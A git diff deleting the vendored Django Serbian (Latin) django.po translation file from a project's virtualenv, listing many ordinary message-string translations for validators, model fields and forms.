4a4ffa80..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/LC_MESSAGES/django.po deleted file mode 100644 index 5f5bc779..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/LC_MESSAGES/django.po +++ /dev/null @@ -1,1638 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aleksa Cukovic` , 2020 -# Danijela Popović, 2022 -# Igor Jerosimić, 2019-2021,2023-2024 -# Jannis Leidel , 2011 -# Janos Guljas , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Igor Jerosimić, 2019-2021,2023-2024\n" -"Language-Team: Serbian (Latin) (http://app.transifex.com/django/django/language/sr@latin/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sr@latin\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" - -#: conf/global_settings.py:52 -msgid "Afrikaans" -msgstr "afrikanski" - -#: conf/global_settings.py:53 -msgid "Arabic" -msgstr "arapski" - -#: conf/global_settings.py:54 -msgid "Algerian Arabic" -msgstr "Alžirski arapski" - -#: conf/global_settings.py:55 -msgid "Asturian" -msgstr "asturijski" - -#: conf/global_settings.py:56 -msgid "Azerbaijani" -msgstr "azerbejdžanski" - -#: conf/global_settings.py:57 -msgid "Bulgarian" -msgstr "bugarski" - -#: conf/global_settings.py:58 -msgid "Belarusian" -msgstr "beloruski" - -#: conf/global_settings.py:59 -msgid "Bengali" -msgstr "bengalski" - -#: conf/global_settings.py:60 -msgid "Breton" -msgstr "bretonski" - -#: conf/global_settings.py:61 -msgid "Bosnian" -msgstr "bosanski" - -#: conf/global_settings.py:62 -msgid "Catalan" -msgstr "katalonski" - -#: conf/global_settings.py:63 -msgid "Central Kurdish (Sorani)" -msgstr "centralnokurdski (sorani)" - -#: conf/global_settings.py:64 -msgid "Czech" -msgstr "češki" - -#: conf/global_settings.py:65 -msgid "Welsh" -msgstr "velški" - -#: conf/global_settings.py:66 -msgid "Danish" -msgstr "danski" - -#: conf/global_settings.py:67 -msgid "German" -msgstr "nemački" - -#: conf/global_settings.py:68 -msgid "Lower Sorbian" -msgstr "donjolužičkosrpski" - -#: conf/global_settings.py:69 -msgid "Greek" -msgstr "grčki" - -#: conf/global_settings.py:70 -msgid "English" -msgstr "engleski" - -#: conf/global_settings.py:71 -msgid "Australian English" -msgstr "australijski engleski" - -#: conf/global_settings.py:72 -msgid "British English" -msgstr "britanski engleski" - -#: conf/global_settings.py:73 -msgid "Esperanto" -msgstr "esperanto" - -#: conf/global_settings.py:74 -msgid "Spanish" -msgstr "španski" - -#: conf/global_settings.py:75 -msgid "Argentinian Spanish" -msgstr "argentinski španski" - -#: conf/global_settings.py:76 -msgid "Colombian Spanish" -msgstr "kolumbijski španski" - -#: conf/global_settings.py:77 -msgid "Mexican Spanish" -msgstr "meksički španski" - -#: conf/global_settings.py:78 -msgid "Nicaraguan Spanish" -msgstr "nikaragvanski španski" - -#: conf/global_settings.py:79 -msgid "Venezuelan Spanish" -msgstr "venecuelanski španski" - -#: conf/global_settings.py:80 -msgid "Estonian" -msgstr "estonski" - -#: conf/global_settings.py:81 -msgid "Basque" -msgstr "baskijski" - -#: conf/global_settings.py:82 -msgid "Persian" -msgstr "persijski" - -#: conf/global_settings.py:83 -msgid "Finnish" -msgstr "finski" - -#: conf/global_settings.py:84 -msgid "French" -msgstr "francuski" - -#: conf/global_settings.py:85 -msgid "Frisian" -msgstr "frizijski" - -#: conf/global_settings.py:86 -msgid "Irish" -msgstr "irski" - -#: conf/global_settings.py:87 -msgid "Scottish Gaelic" -msgstr "škotski galski" - -#: conf/global_settings.py:88 -msgid "Galician" -msgstr "galski" - -#: conf/global_settings.py:89 -msgid "Hebrew" -msgstr "hebrejski" - -#: conf/global_settings.py:90 -msgid "Hindi" -msgstr "hindu" - -#: conf/global_settings.py:91 -msgid "Croatian" -msgstr "hrvatski" - -#: conf/global_settings.py:92 -msgid "Upper Sorbian" -msgstr "gornjolužičkosrpski" - -#: conf/global_settings.py:93 -msgid "Hungarian" -msgstr "mađarski" - -#: conf/global_settings.py:94 -msgid "Armenian" -msgstr "jermenski" - -#: conf/global_settings.py:95 -msgid "Interlingua" -msgstr "interlingva" - -#: conf/global_settings.py:96 -msgid "Indonesian" -msgstr "indonežanski" - -#: conf/global_settings.py:97 -msgid "Igbo" -msgstr "Igbo" - -#: conf/global_settings.py:98 -msgid "Ido" -msgstr "ido" - -#: conf/global_settings.py:99 -msgid "Icelandic" -msgstr "islandski" - -#: conf/global_settings.py:100 -msgid "Italian" -msgstr "italijanski" - -#: conf/global_settings.py:101 -msgid "Japanese" -msgstr "japanski" - -#: conf/global_settings.py:102 -msgid "Georgian" -msgstr "gruzijski" - -#: conf/global_settings.py:103 -msgid "Kabyle" -msgstr "kabilski" - -#: conf/global_settings.py:104 -msgid "Kazakh" -msgstr "kazaški" - -#: conf/global_settings.py:105 -msgid "Khmer" -msgstr "kambodijski" - -#: conf/global_settings.py:106 -msgid "Kannada" -msgstr "kanada" - -#: conf/global_settings.py:107 -msgid "Korean" -msgstr "korejski" - -#: conf/global_settings.py:108 -msgid "Kyrgyz" -msgstr "Kirgiski" - -#: conf/global_settings.py:109 -msgid "Luxembourgish" -msgstr "luksemburški" - -#: conf/global_settings.py:110 -msgid "Lithuanian" -msgstr "litvanski" - -#: conf/global_settings.py:111 -msgid "Latvian" -msgstr "latvijski" - -#: conf/global_settings.py:112 -msgid "Macedonian" -msgstr "makedonski" - -#: conf/global_settings.py:113 -msgid "Malayalam" -msgstr "malajalamski" - -#: conf/global_settings.py:114 -msgid "Mongolian" -msgstr "mongolski" - -#: conf/global_settings.py:115 -msgid "Marathi" -msgstr "marathi" - -#: conf/global_settings.py:116 -msgid "Malay" -msgstr "malajski" - -#: conf/global_settings.py:117 -msgid "Burmese" -msgstr "burmanski" - -#: conf/global_settings.py:118 -msgid "Norwegian Bokmål" -msgstr "norveški književni" - -#: conf/global_settings.py:119 -msgid "Nepali" -msgstr "nepalski" - -#: conf/global_settings.py:120 -msgid "Dutch" -msgstr "holandski" - -#: conf/global_settings.py:121 -msgid "Norwegian Nynorsk" -msgstr "norveški novi" - -#: conf/global_settings.py:122 -msgid "Ossetic" -msgstr "osetinski" - -#: conf/global_settings.py:123 -msgid "Punjabi" -msgstr "Pandžabi" - -#: conf/global_settings.py:124 -msgid "Polish" -msgstr "poljski" - -#: conf/global_settings.py:125 -msgid "Portuguese" -msgstr "portugalski" - -#: conf/global_settings.py:126 -msgid "Brazilian Portuguese" -msgstr "brazilski portugalski" - -#: conf/global_settings.py:127 -msgid "Romanian" -msgstr "rumunski" - -#: conf/global_settings.py:128 -msgid "Russian" -msgstr "ruski" - -#: conf/global_settings.py:129 -msgid "Slovak" -msgstr "slovački" - -#: conf/global_settings.py:130 -msgid "Slovenian" -msgstr "slovenački" - -#: conf/global_settings.py:131 -msgid "Albanian" -msgstr "albanski" - -#: conf/global_settings.py:132 -msgid "Serbian" -msgstr "srpski" - -#: conf/global_settings.py:133 -msgid "Serbian Latin" -msgstr "srpski (latinica)" - -#: conf/global_settings.py:134 -msgid "Swedish" -msgstr "švedski" - -#: conf/global_settings.py:135 -msgid "Swahili" -msgstr "svahili" - -#: conf/global_settings.py:136 -msgid "Tamil" -msgstr "tamilski" - -#: conf/global_settings.py:137 -msgid "Telugu" -msgstr "telugu" - -#: conf/global_settings.py:138 -msgid "Tajik" -msgstr "Tadžiki" - -#: conf/global_settings.py:139 -msgid "Thai" -msgstr "tajlandski" - -#: conf/global_settings.py:140 -msgid "Turkmen" -msgstr "Turkmenski" - -#: conf/global_settings.py:141 -msgid "Turkish" -msgstr "turski" - -#: conf/global_settings.py:142 -msgid "Tatar" -msgstr "tatarski" - -#: conf/global_settings.py:143 -msgid "Udmurt" -msgstr "udmurtski" - -#: conf/global_settings.py:144 -msgid "Uyghur" -msgstr "Ujgur" - -#: conf/global_settings.py:145 -msgid "Ukrainian" -msgstr "ukrajinski" - -#: conf/global_settings.py:146 -msgid "Urdu" -msgstr "Urdu" - -#: conf/global_settings.py:147 -msgid "Uzbek" -msgstr "Uzbekistanski" - -#: conf/global_settings.py:148 -msgid "Vietnamese" -msgstr "vijetnamski" - -#: conf/global_settings.py:149 -msgid "Simplified Chinese" -msgstr "novokineski" - -#: conf/global_settings.py:150 -msgid "Traditional Chinese" -msgstr "starokineski" - -#: contrib/messages/apps.py:15 -msgid "Messages" -msgstr "Poruke" - -#: contrib/sitemaps/apps.py:8 -msgid "Site Maps" -msgstr "Mape sajta" - -#: contrib/staticfiles/apps.py:9 -msgid "Static Files" -msgstr "Statičke datoteke" - -#: contrib/syndication/apps.py:7 -msgid "Syndication" -msgstr "Udruživanje sadržaja" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -#: core/paginator.py:30 -msgid "…" -msgstr "…" - -#: core/paginator.py:32 -msgid "That page number is not an integer" -msgstr "Zadati broj strane nije ceo broj" - -#: core/paginator.py:33 -msgid "That page number is less than 1" -msgstr "Zadati broj strane je manji od 1" - -#: core/paginator.py:34 -msgid "That page contains no results" -msgstr "Tražena strana ne sadrži rezultate" - -#: core/validators.py:22 -msgid "Enter a valid value." -msgstr "Unesite ispravnu vrednost." - -#: core/validators.py:70 -msgid "Enter a valid domain name." -msgstr "Unesite ispravno ime domena." - -#: core/validators.py:104 forms/fields.py:759 -msgid "Enter a valid URL." -msgstr "Unesite ispravan URL." - -#: core/validators.py:165 -msgid "Enter a valid integer." -msgstr "Unesite ispravan ceo broj." - -#: core/validators.py:176 -msgid "Enter a valid email address." -msgstr "Unesite ispravnu e-mail adresu." - -#. Translators: "letters" means latin letters: a-z and A-Z. -#: core/validators.py:259 -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "Unesite isrpavan „slag“, koji se sastoji od slova, brojki, donjih crta ili cirtica." - -#: core/validators.py:267 -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or" -" hyphens." -msgstr "Unesite ispravan \"slag\", koji se sastoji od Unikod slova, brojki, donjih crta ili crtica." - -#: core/validators.py:327 core/validators.py:336 core/validators.py:350 -#: db/models/fields/__init__.py:2219 -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Unesite ispravnu adresu %(protocol)s." - -#: core/validators.py:329 -msgid "IPv4" -msgstr "IPv4" - -#: core/validators.py:338 utils/ipv6.py:30 -msgid "IPv6" -msgstr "IPv6" - -#: core/validators.py:352 -msgid "IPv4 or IPv6" -msgstr "IPv4 ili IPv6" - -#: core/validators.py:341 -msgid "Enter only digits separated by commas." -msgstr "Unesite samo brojke razdvojene zapetama." - -#: core/validators.py:347 -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Ovo polje mora da bude %(limit_value)s (trenutno ima %(show_value)s)." - -#: core/validators.py:382 -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Ova vrednost mora da bude manja od %(limit_value)s. ili tačno toliko." - -#: core/validators.py:391 -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Ova vrednost mora biti veća od %(limit_value)s ili tačno toliko." - -#: core/validators.py:400 -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Ova vrednost mora da umnožak veličine koraka %(limit_value)s." - -#: core/validators.py:407 -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "Uverite se da je ova vrednost višestruka od veličine koraka %(limit_value)s, počevši od %(offset)s, npr. %(offset)s, %(valid_value1)s, %(valid_value2)s, itd." - -#: core/validators.py:439 -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "Ovo polje mora da ima najmanje %(limit_value)d karakter (trenutno ima %(show_value)d)." -msgstr[1] "Ovo polje mora da ima najmanje %(limit_value)d karaktera (trenutno ima %(show_value)d)." -msgstr[2] "Ovo polje mora da ima %(limit_value)d najmanje karaktera (trenutno ima %(show_value)d )." - -#: core/validators.py:457 -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "Ovo polje ne sme da ima više od %(limit_value)d karaktera (trenutno ima %(show_value)d)." -msgstr[1] "Ovo polje ne sme da ima više od %(limit_value)d karaktera (trenutno ima %(show_value)d)." -msgstr[2] "Ovo polje ne sme da ima više od %(limit_value)d karaktera (trenutno ima %(show_value)d)." - -#: core/validators.py:480 forms/fields.py:354 forms/fields.py:393 -msgid "Enter a number." -msgstr "Unesite broj." - -#: core/validators.py:482 -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Ukupno ne može biti više od %(max)s cifre." -msgstr[1] "Ukupno ne može biti više od %(max)s cifre." -msgstr[2] "Ukupno ne može biti više od %(max)s cifara." - -#: core/validators.py:487 -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Ne može biti više od %(max)s decimale." -msgstr[1] "Ne može biti više od %(max)s decimale." -msgstr[2] "Ne može biti više od %(max)s decimala." - -#: core/validators.py:492 -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Ne može biti više od %(max)s cifre pre decimalnog zapisa." -msgstr[1] "Ne može biti više od %(max)s cifre pre decimalnog zapisa." -msgstr[2] "Ne može biti više od %(max)s cifara pre decimalnog zapisa." - -#: core/validators.py:563 -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "Ekstenzija datoteke \"%(extension)s\" nije dozvoljena. Dozvoljene su sledeće ekstenzije: %(allowed_extensions)s." - -#: core/validators.py:624 -msgid "Null characters are not allowed." -msgstr "'Null' karakteri nisu dozvoljeni." - -#: db/models/base.py:1465 forms/models.py:902 -msgid "and" -msgstr "i" - -#: db/models/base.py:1467 -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s sa poljem %(field_labels)s već postoji." - -#: db/models/constraints.py:20 -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Ograničenje „%(name)s“ je prekršeno." - -#: db/models/fields/__init__.py:128 -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Vrednost %(value)r nije validna." - -#: db/models/fields/__init__.py:129 -msgid "This field cannot be null." -msgstr "Ovo polje ne može da ostane prazno." - -#: db/models/fields/__init__.py:130 -msgid "This field cannot be blank." -msgstr "Ovo polje ne može da ostane prazno." - -#: db/models/fields/__init__.py:131 -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s sa ovom vrednošću %(field_label)s već postoji." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#: db/models/fields/__init__.py:135 -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "%(field_label)s mora biti jedinstven(a) za %(date_field_label)s %(lookup_type)s." - -#: db/models/fields/__init__.py:174 -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Polje tipa: %(field_type)s" - -#: db/models/fields/__init__.py:1157 -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Vrednost \"%(value)s\" mora biti True ili False." - -#: db/models/fields/__init__.py:1158 -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "\"%(value)s\" vrednost mora biti True, False ili None." - -#: db/models/fields/__init__.py:1160 -msgid "Boolean (Either True or False)" -msgstr "Bulova vrednost (True ili False)" - -#: db/models/fields/__init__.py:1210 -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (najviše %(max_length)s znakova)" - -#: db/models/fields/__init__.py:1212 -msgid "String (unlimited)" -msgstr "String (neograničeno)" - -#: db/models/fields/__init__.py:1316 -msgid "Comma-separated integers" -msgstr "Celi brojevi razdvojeni zapetama" - -#: db/models/fields/__init__.py:1417 -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "Vrednost \"%(value)s\" nema ispravan format datuma. Mora biti u formatu GGGG-MM-DD." - -#: db/models/fields/__init__.py:1421 db/models/fields/__init__.py:1556 -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "Vrednost “%(value)s” ima odgovarajući format (GGGG-MM-DD), ali nije validan datum." - -#: db/models/fields/__init__.py:1425 -msgid "Date (without time)" -msgstr "Datum (bez vremena)" - -#: db/models/fields/__init__.py:1552 -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD " -"HH:MM[:ss[.uuuuuu]][TZ] format." -msgstr "Vrednost “%(value)s” je u nevažećem formatu. Mora se uneti u formatu YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#: db/models/fields/__init__.py:1560 -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD " -"HH:MM[:ss[.uuuuuu]][TZ]) but it is an invalid date/time." -msgstr "Vrednost “%(value)s” je u odgovarajućem formatu (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]), ali nije validna vrednost za datum i vreme." - -#: db/models/fields/__init__.py:1565 -msgid "Date (with time)" -msgstr "Datum (sa vremenom)" - -#: db/models/fields/__init__.py:1689 -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Vrednost “%(value)s” mora biti decimalni broj." - -#: db/models/fields/__init__.py:1691 -msgid "Decimal number" -msgstr "Decimalni broj" - -#: db/models/fields/__init__.py:1852 -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] " -"[[HH:]MM:]ss[.uuuuuu] format." -msgstr "Vrednost “%(value)s” nije u odgovarajućem formatu. Mora biti u formatu [DD] [[HH:]MM:]ss[.uuuuuu]." - -#: db/models/fields/__init__.py:1856 -msgid "Duration" -msgstr "Vremenski interval" - -#: db/models/fields/__init__.py:1908 -msgid "Email address" -msgstr "Imejl adresa" - -#: db/models/fields/__init__.py:1933 -msgid "File path" -msgstr "Putanja fajla" - -#: db/models/fields/__init__.py:2011 -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Vrednost “%(value)s” value mora biti tipa float." - -#: db/models/fields/__init__.py:2013 -msgid "Floating point number" -msgstr "Broj sa pokrenom zapetom" - -#: db/models/fields/__init__.py:2053 -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Vrednost “%(value)s” mora biti ceo broj." - -#: db/models/fields/__init__.py:2055 -msgid "Integer" -msgstr "Ceo broj" - -#: db/models/fields/__init__.py:2151 -msgid "Big (8 byte) integer" -msgstr "Veliki ceo broj" - -#: db/models/fields/__init__.py:2168 -msgid "Small integer" -msgstr "Mali ceo broj" - -#: db/models/fields/__init__.py:2176 -msgid "IPv4 address" -msgstr "IPv4 adresa" - -#: db/models/fields/__init__.py:2207 -msgid "IP address" -msgstr "IP adresa" - -#: db/models/fields/__init__.py:2300 db/models/fields/__init__.py:2301 -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Vrednost “%(value)s” mora biti None, True ili False." - -#: db/models/fields/__init__.py:2303 -msgid "Boolean (Either True, False or None)" -msgstr "Bulova vrednost (True, False ili None)" - -#: db/models/fields/__init__.py:2354 -msgid "Positive big integer" -msgstr "Velik pozitivan celi broj" - -#: db/models/fields/__init__.py:2369 -msgid "Positive integer" -msgstr "Pozitivan ceo broj" - -#: db/models/fields/__init__.py:2384 -msgid "Positive small integer" -msgstr "Pozitivan mali ceo broj" - -#: db/models/fields/__init__.py:2400 -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slag (ne duži od %(max_length)s)" - -#: db/models/fields/__init__.py:2436 -msgid "Text" -msgstr "Tekst" - -#: db/models/fields/__init__.py:2511 -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "Vrednost “%(value)s” nije u odgovarajućem formatu. Mora biti u formatu HH:MM[:ss[.uuuuuu]]." - -#: db/models/fields/__init__.py:2515 -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "Vrednost “%(value)s” je u odgovarajućem formatu (HH:MM[:ss[.uuuuuu]]), ali nije validna vrednost za vreme." - -#: db/models/fields/__init__.py:2519 -msgid "Time" -msgstr "Vreme" - -#: db/models/fields/__init__.py:2627 -msgid "URL" -msgstr "URL" - -#: db/models/fields/__init__.py:2651 -msgid "Raw binary data" -msgstr "Sirovi binarni podaci" - -#: db/models/fields/__init__.py:2716 -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "Vrednost “%(value)s” nije validan UUID (jedinstveni ID)." - -#: db/models/fields/__init__.py:2718 -msgid "Universally unique identifier" -msgstr "Univerzalno jedinstveni identifikator" - -#: db/models/fields/files.py:232 -msgid "File" -msgstr "Fajl" - -#: db/models/fields/files.py:393 -msgid "Image" -msgstr "Slika" - -#: db/models/fields/json.py:26 -msgid "A JSON object" -msgstr "JSON objekat" - -#: db/models/fields/json.py:28 -msgid "Value must be valid JSON." -msgstr "Vrednost mora biti ispravni JSON." - -#: db/models/fields/related.py:939 -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Instanca modela %(model)s sa vrednošću %(field)s %(value)r ne postoji." - -#: db/models/fields/related.py:941 -msgid "Foreign Key (type determined by related field)" -msgstr "Strani ključ (tip određuje referentno polje)" - -#: db/models/fields/related.py:1235 -msgid "One-to-one relationship" -msgstr "Relacija jedan na jedan" - -#: db/models/fields/related.py:1292 -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relacija %(from)s-%(to)s" - -#: db/models/fields/related.py:1294 -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relacije %(from)s-%(to)s" - -#: db/models/fields/related.py:1342 -msgid "Many-to-many relationship" -msgstr "Relacija više na više" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -#: forms/boundfield.py:185 -msgid ":?.!" -msgstr ":?.!" - -#: forms/fields.py:94 -msgid "This field is required." -msgstr "Ovo polje se mora popuniti." - -#: forms/fields.py:303 -msgid "Enter a whole number." -msgstr "Unesite ceo broj." - -#: forms/fields.py:474 forms/fields.py:1246 -msgid "Enter a valid date." -msgstr "Unesite ispravan datum." - -#: forms/fields.py:497 forms/fields.py:1247 -msgid "Enter a valid time." -msgstr "Unesite ispravno vreme" - -#: forms/fields.py:524 -msgid "Enter a valid date/time." -msgstr "Unesite ispravan datum/vreme." - -#: forms/fields.py:558 -msgid "Enter a valid duration." -msgstr "Unesite ispravno trajanje." - -#: forms/fields.py:559 -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Broj dana mora biti između {min_days} i {max_days}." - -#: forms/fields.py:628 -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Fajl nije prebačen. Proverite tip enkodiranja formulara." - -#: forms/fields.py:629 -msgid "No file was submitted." -msgstr "Fajl nije prebačen." - -#: forms/fields.py:630 -msgid "The submitted file is empty." -msgstr "Prebačen fajl je prazan." - -#: forms/fields.py:632 -#, python-format -msgid "" -"Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "Ime fajla ne može imati više od %(max)d karaktera (trenutno ima %(length)d)." -msgstr[1] "Ime fajla ne može imati više od %(max)d karaktera (trenutno ima %(length)d)." -msgstr[2] "Ime fajla ne može imati više od %(max)d karaktera (trenutno ima %(length)d)." - -#: forms/fields.py:637 -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Može se samo poslati fajl ili izbrisati, ne oba." - -#: forms/fields.py:701 -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "Prebacite ispravan fajl. Fajl koji je prebačen ili nije slika, ili je oštećen." - -#: forms/fields.py:868 forms/fields.py:954 forms/models.py:1581 -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "%(value)s nije među ponuđenim vrednostima. Odaberite jednu od ponuđenih." - -#: forms/fields.py:956 forms/fields.py:1075 forms/models.py:1579 -msgid "Enter a list of values." -msgstr "Unesite listu vrednosti." - -#: forms/fields.py:1076 -msgid "Enter a complete value." -msgstr "Unesite kompletnu vrednost." - -#: forms/fields.py:1315 -msgid "Enter a valid UUID." -msgstr "Unesite ispravan UUID." - -#: forms/fields.py:1345 -msgid "Enter a valid JSON." -msgstr "Unesite ispravan JSON." - -#. Translators: This is the default suffix added to form field labels -#: forms/forms.py:94 -msgid ":" -msgstr ":" - -#: forms/forms.py:231 -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Skriveno polje %(name)s) %(error)s" - -#: forms/formsets.py:61 -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "Podaci od ManagementForm nedostaju ili su pokvareni. Polja koja nedostaju: %(field_names)s. Možda će biti potrebno da prijavite grešku ako se problem nastavi." - -#: forms/formsets.py:65 -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Molim prosledite najviše %(num)d formular." -msgstr[1] "Molim prosledite najviše %(num)d formulara." -msgstr[2] "Molim prosledite najviše %(num)d formulara." - -#: forms/formsets.py:70 -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] " Molim prosledite najmanje %(num)d formular." -msgstr[1] " Molim prosledite najmanje %(num)d formulara." -msgstr[2] " Molim prosledite najmanje %(num)d formulara." - -#: forms/formsets.py:484 forms/formsets.py:491 -msgid "Order" -msgstr "Redosled" - -#: forms/formsets.py:499 -msgid "Delete" -msgstr "Obriši" - -#: forms/models.py:895 -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Ispravite dupliran sadržaj za polja: %(field)s." - -#: forms/models.py:900 -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Ispravite dupliran sadržaj za polja: %(field)s, koji mora da bude jedinstven." - -#: forms/models.py:907 -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "Ispravite dupliran sadržaj za polja: %(field_name)s, koji mora da bude jedinstven za %(lookup)s u %(date_field)s." - -#: forms/models.py:916 -msgid "Please correct the duplicate values below." -msgstr "Ispravite duplirane vrednosti dole." - -#: forms/models.py:1353 -msgid "The inline value did not match the parent instance." -msgstr "Direktno uneta vrednost ne odgovara instanci roditelja." - -#: forms/models.py:1444 -msgid "" -"Select a valid choice. That choice is not one of the available choices." -msgstr "Odabrana vrednost nije među ponuđenima. Odaberite jednu od ponuđenih." - -#: forms/models.py:1583 -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" nije ispravna vrednost." - -#: forms/utils.py:227 -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "Vreme %(datetime)s se ne može protumačiti u vremenskoj zoni %(current_timezone)s; možda je dvosmisleno ili ne postoji." - -#: forms/widgets.py:457 -msgid "Clear" -msgstr "Očisti" - -#: forms/widgets.py:458 -msgid "Currently" -msgstr "Trenutno" - -#: forms/widgets.py:459 -msgid "Change" -msgstr "Izmeni" - -#: forms/widgets.py:796 -msgid "Unknown" -msgstr "Nepoznato" - -#: forms/widgets.py:797 -msgid "Yes" -msgstr "Da" - -#: forms/widgets.py:798 -msgid "No" -msgstr "Ne" - -#. Translators: Please do not add spaces around commas. -#: template/defaultfilters.py:875 -msgid "yes,no,maybe" -msgstr "da,ne,možda" - -#: template/defaultfilters.py:905 template/defaultfilters.py:922 -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bajt" -msgstr[1] "%(size)d bajta" -msgstr[2] "%(size)d bajtova" - -#: template/defaultfilters.py:924 -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#: template/defaultfilters.py:926 -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#: template/defaultfilters.py:928 -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#: template/defaultfilters.py:930 -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#: template/defaultfilters.py:932 -#, python-format -msgid "%s PB" -msgstr "%s PB" - -#: utils/dateformat.py:73 -msgid "p.m." -msgstr "po p." - -#: utils/dateformat.py:74 -msgid "a.m." -msgstr "pre p." - -#: utils/dateformat.py:79 -msgid "PM" -msgstr "PM" - -#: utils/dateformat.py:80 